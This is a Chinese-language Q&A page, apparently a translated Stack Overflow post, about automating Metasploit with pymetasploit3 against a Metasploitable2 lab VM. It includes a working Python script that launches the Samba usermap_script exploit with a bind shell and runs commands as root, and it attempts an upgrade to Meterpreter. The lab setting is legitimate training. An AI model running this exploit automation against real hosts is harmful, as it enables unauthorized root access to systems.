python - 使用 pymetasploitable3 和 metasploit(msf) 控制台从 shell 升级到 Meterpreter linux metasploitable2 自动化
问题描述
我试图通过在我的 Kali VM 上运行 python 脚本来在 metasploitable2 VM 上打开一个meterpreter shell。所有都连接到同一个内部 nat 网络。
我的道德黑客目标是尝试并执行利用和利用后的自动化(pymetasploit3)。
到目前为止,我能够使用我的 python3 脚本,它导入库 pymetasploit3.msfrpc,并额外使用msfconsole
打开会话并发出正常的 Linux 终端命令。
我的利用代码:(test2.py)
import time
from pymetasploit3.msfrpc import MsfRpcClient
client = MsfRpcClient('mypassword', port=55552)
exploit = client.modules.use('exploit', 'multi/samba/usermap_script') #defining exploit to use
exploit['RHOSTS'] = "10.0.2.4" #metasploitable VM
exploit['RPORT'] = "139" #samba port
exploit.target = 0
payload = client.modules.use('payload', 'cmd/unix/bind_perl') #defining exploit's payload to use
payload['LPORT'] = 4444
time.sleep(10) #allow time for msfconsole to open command session
exploit.execute(payload=payload)
shell = client.sessions.session(list(client.sessions.list.keys())[0])
shell.write('whoami') #issuing commands to now opened shell
print(shell.read()) #result = root
shell.write('hostname')
print(shell.read()) #result = metasploitable
我一直在按照本指南进行meterpreter升级
我的开发后代码(从 test2.py 中的先前代码继续):
payload1 = client.modules.use('payload', 'multi/manage/shell_to_meterpreter') #same explotation but different payload
payload1['LPORT'] = 8080
payload1['SESSION'] = 1
exploit.execute(payload=payload1)
shell = client.sessions.session('1')
shell.write('whoami')
print(shell.read())
shell.write('hostname')
print(shell.read())
msfconsole 的结果(包括初始设置和结果):
msfconsole #loads...
load msgrpc Pass=mypassword
#MSGRPC success messages
#loaded plugin: msgrpc
Command shell session 1 opened (0.0.0.0:0 -> 10.0.2.4:4444) at... #normal shell session active
运行实际的python代码(test2.py): 第197行指的是:
payload1 = client.modules.use('payload', 'multi/manage/shell_to_meterpreter')
我想知道正确执行此利用后自动化的正确方法是什么,以及为什么第二个有效负载不起作用......
此外,如果有更简单的方法可以使用类似的自动化方法打开meterpreter,欢迎提出建议。谢谢
解决方案
所以很多事情都是错误的,但解决方案是在单独的脚本中运行它,然后切换到 Meterpreter 会话。
推荐阅读
- linux - 保持 IPFS 守护进程存活的最佳方法
- android - INSTALL_REFERRER 接收器是否仍可在 Android Oreo 上使用?
- vue.js - 编辑 DataTable 中的值,并在输入上对活动排序表进行排序
- excel - 删除公式,但保留 Google Spreedsheet 中所有工作表的结果
- laravel - 在Axios,VUE JS + LEAFLET + Axios 中获取后标记变量未定义
- c++ - 调用 bazel 命令进行调试时 GDB 立即退出
- python - 构建 Python:如何禁用 Py_LIMITED_API?
- python - 如何只捕获正则表达式中的第一组?
- python - Spyder 启动问题
- svg - 为什么不能用一个 svg 弧段画一个完整的圆